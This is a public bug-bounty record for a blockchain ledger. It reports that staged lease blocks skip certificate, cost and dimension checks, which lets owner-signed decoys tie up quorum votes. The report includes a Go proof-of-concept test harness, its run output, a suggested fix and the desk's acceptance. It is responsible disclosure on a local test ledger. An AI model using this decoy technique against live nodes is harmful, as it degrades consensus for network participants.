{"id":"XE-0028","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"52","source_url":"https://github.com/xeprotocol/xe/issues/52","reporter_id":13,"title":"core: staged-block validation accepts lease blocks that full admission rejects, arming quorum decoys (Medium)","area":"consensus","claimed_tier":"medium","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:16.649628+00:00","updated_at":"2026-11-10T11:38:24.950370+00:00","source_created_at":"2026-10-25T11:12:29+00:00","told_at":"2026-11-10T00:15:55+00:00","status_changed_at":"2026-10-29T14:04:13.738331+00:00","url":"https://bounty.xe.network/XE-0028","body":"## Summary\nValidateStagedBlock for lease-family blocks checks only amount and balance arithmetic, while full admission additionally requires a valid perf certificate, correct lease cost, dimensions, expiry and provider binding. A conflicting owner-signed lease with a plausible amount/balance pair therefore stages cleanly, enters the candidate set, and makes representatives vote on a body that can never be promoted, delaying conflict resolution.\n\n## Affected component\ncore/ledger.go, ValidateStagedBlock lease arms at lines 2779 to 2832 (amount and balance only) versus validateAndAddLease at lines 1506 onward (certificate, cost, dimensions), at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.\n\n## Impact\nOne owner-signed decoy per conflict per staged slot: representatives waste votes on unpromotable bodies and each bad promotion attempt burns a 30 second quarantine. This is also the enabler that makes quorum substitution exploitable with an owner-signed decoy. Owner-only (needs the account's own signature), promotion still full-validates, so no theft and no admission bypass on its own.\n\nSuggested severity: Medium (validation gap). Confirmed by read-only source review with an in-process harness.\n\n## PoC\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin):\n\n```\ngit clone https://github.com/xeprotocol/xe && cd xe\nmkdir -p poc/harness\n# save the two files below, then from poc/:\nGOTOOLCHAIN=auto go mod tidy\nGOTOOLCHAIN=auto go test -count=1 -v ./poc\n```\n\ngo.mod for the poc module:\n\n```\nmodule poc\n\ngo 1.25.0\n\nrequire github.com/xeprotocol/xe v0.0.0\n\nreplace github.com/xeprotocol/xe => ..\n```\n\n**Shared test-only helper** (`poc/harness/harness.go`; constructs signed blocks and funds accounts through the ledger's own test-only entry points, none reachable from gossip or API):\n\n```go\n// Package harness holds test-only helpers for local XE ledger PoCs.\n// None of these helpers exist on the gossip/API surface; they only\n// construct signed blocks and fund accounts via core.SeedAssetForTesting /\n// core.MintForTesting.\npackage harness\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/xeprotocol/xe/core\"\n\t\"github.com/xeprotocol/xe/store\"\n)\n\nconst TestOnlyFundAmount uint64 = 1_000_000_000\n\n// NewTestLedger builds a MemStore-backed ledger with PoW and timestamp\n// windows disabled so the PoC can drive admission/conflict logic.\nfunc NewTestLedger() (*core.Ledger, *store.MemStore) {\n\tcore.SetNetworkID(\"\")\n\tms := store.NewMemStore()\n\tl := core.NewLedger(ms, core.LedgerConfig{\n\t\tDifficulty:      0,\n\t\tTimestampWindow: 0,\n\t})\n\treturn l, ms\n}\n\n// TestOnlyFundAccount opens a new account with a signed mint block.\n// Named TestOnly: this is the ledger's own test funding entry point, not a\n// production mint path.\nfunc TestOnlyFundAccount(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {\n\tif amount == 0 {\n\t\tamount = TestOnlyFundAmount\n\t}\n\tb := &core.Block{\n\t\tType:           core.BlockMint,\n\t\tAccount:        kp.Address(),\n\t\tPrevious:       \"0\",\n\t\tBalance:        amount,\n\t\tAmount:         amount,\n\t\tTimestamp:      core.Now().UnixNano(),\n\t\tAsset:          asset,\n\t\tPubKey:         kp.PubKeyHex(),\n\t\tRepresentative: kp.Address(),\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, fmt.Errorf(\"test-only fund: sign: %w\", err)\n\t}\n\tvar err error\n\tif asset == \"XUSD\" {\n\t\terr = l.MintForTesting(b)\n\t} else {\n\t\terr = l.SeedAssetForTesting(b)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"test-only fund: %w\", err)\n\t}\n\treturn b, nil\n}\n\n// TestOnlyFinalizeHeight writes a final-height watermark. Test-only: the\n// production path is QuorumManager.confirmConflict.\nfunc TestOnlyFinalizeHeight(ms *store.MemStore, account string, height uint64) error {\n\treturn ms.SetFinalHeight(account, height)\n}\n\nfunc SignSend(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {\n\tb := &core.Block{\n\t\tType:        core.BlockSend,\n\t\tAccount:     kp.Address(),\n\t\tPrevious:    previous,\n\t\tBalance:     balance,\n\t\tAmount:      amount,\n\t\tTimestamp:   core.Now().UnixNano(),\n\t\tAsset:       asset,\n\t\tDestination: dest,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}\n\nfunc SignLease(kp *core.KeyPair, previous string, balance, amount uint64, dest, certHash string, vcpus, mem, disk, dur uint64) (*core.Block, error) {\n\tb := &core.Block{\n\t\tType:            core.BlockLease,\n\t\tAccount:         kp.Address(),\n\t\tPrevious:        previous,\n\t\tBalance:         balance,\n\t\tAmount:          amount,\n\t\tTimestamp:       core.Now().UnixNano(),\n\t\tAsset:           \"XUSD\",\n\t\tDestination:     dest,\n\t\tVCPUs:           vcpus,\n\t\tMemoryMB:        mem,\n\t\tDiskGB:          disk,\n\t\tDuration:        dur,\n\t\tCertificateHash: certHash,\n\t}\n\tif err := core.SignBlock(b, kp); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}\n```\n\n**Test file** (`poc/f16_test.go`):\n\n```go\npackage f16\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/xeprotocol/xe-poc/harness\"\n\t\"github.com/xeprotocol/xe/core\"\n)\n\n// TestPoC_F16 shows ValidateStagedBlock accepts an owner-signed lease that\n// full admission (AddBlock on the empty frontier / SwapBlock) rejects:\n// no certificate, no dimensions, no cost check.\nfunc TestPoC_F16(t *testing.T) {\n\tpass, detail := runF16()\n\tif pass {\n\t\tfmt.Println(\"PASS: F16 staged lease validation is weaker than admission\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F16 expected staged-accept / full-reject split\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF16() (bool, string) {\n\towner, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\treturn false, \"keygen: \" + err.Error()\n\t}\n\tdest, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\treturn false, \"keygen dest: \" + err.Error()\n\t}\n\tl, _ := harness.NewTestLedger()\n\topen, err := harness.TestOnlyFundAccount(l, owner, \"XUSD\", harness.TestOnlyFundAmount)\n\tif err != nil {\n\t\treturn false, \"test-only fund: \" + err.Error()\n\t}\n\n\tsendA, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), \"XUSD\")\n\tif err != nil {\n\t\treturn false, \"sign send: \" + err.Error()\n\t}\n\tif err := l.AddBlock(sendA); err != nil {\n\t\treturn false, \"add send: \" + err.Error()\n\t}\n\n\tdecoy, err := harness.SignLease(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), \"\", 0, 0, 0, 0)\n\tif err != nil {\n\t\treturn false, \"sign decoy: \" + err.Error()\n\t}\n\tparentBal := l.GetAssetBalanceAtBlock(owner.Address(), \"XUSD\", open.Hash)\n\tstagedErr := l.ValidateStagedBlock(decoy, parentBal)\n\taddErr := l.AddBlock(decoy) // conflict path: only ValidateStagedBlock\n\tswapErr := l.SwapBlock(owner.Address(), sendA.Hash, decoy.Hash, decoy)\n\n\tstaged := l.GetBlockOrStaged(decoy.Hash)\n\tonChain := l.GetBlock(decoy.Hash)\n\n\tdetail := fmt.Sprintf(\n\t\t\"parent_balance=%d decoy.amount=%d decoy.balance=%d\\n\"+\n\t\t\t\"ValidateStagedBlock err=%v\\n\"+\n\t\t\t\"AddBlock (conflict/stage) err=%v staged=%v on_chain=%v\\n\"+\n\t\t\t\"SwapBlock/full admission err=%v\",\n\t\tparentBal, decoy.Amount, decoy.Balance,\n\t\tstagedErr, addErr, staged != nil, onChain != nil, swapErr,\n\t)\n\tok := stagedErr == nil && addErr == nil && staged != nil && onChain == nil && swapErr != nil\n\treturn ok, detail\n}\n```\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F16\n2026/10/25 17:32:08 Genesis block applied: 42000000000000 XE to 378d0f5c2063...\nPASS: F16 staged lease validation is weaker than admission\nparent_balance=1000000000 decoy.amount=1 decoy.balance=999999999\nValidateStagedBlock err=<nil>\nAddBlock (conflict/stage) err=<nil> staged=true on_chain=false\nSwapBlock/full admission err=SwapBlock: winner failed full validation edc3bdb318ab..., loser kept: lease must request at least one resource (vcpus, memory, or disk)\n--- PASS: TestPoC_F16 (0.00s)\nPASS\nok  \tgithub.com/xeprotocol/xe-poc/f16\t0.011s\n```\n\n## Fix suggestion\nRoute staged lease-family blocks through the same certificate, cost and dimension checks as admission (share the validator core, skip only chain-position checks).","patch_refs":[{"id":151,"repo":"xeprotocol/xe","kind":"pr","ref":"129","title":"fix(core): validate lease dimensions, certificate, and cost for staged blocks (#52)","url":"https://github.com/xeprotocol/xe/pull/129","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1582,"source":"github","source_ref":"6755096297","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0028.","created_at":"2026-11-10T00:15:55+00:00"}]}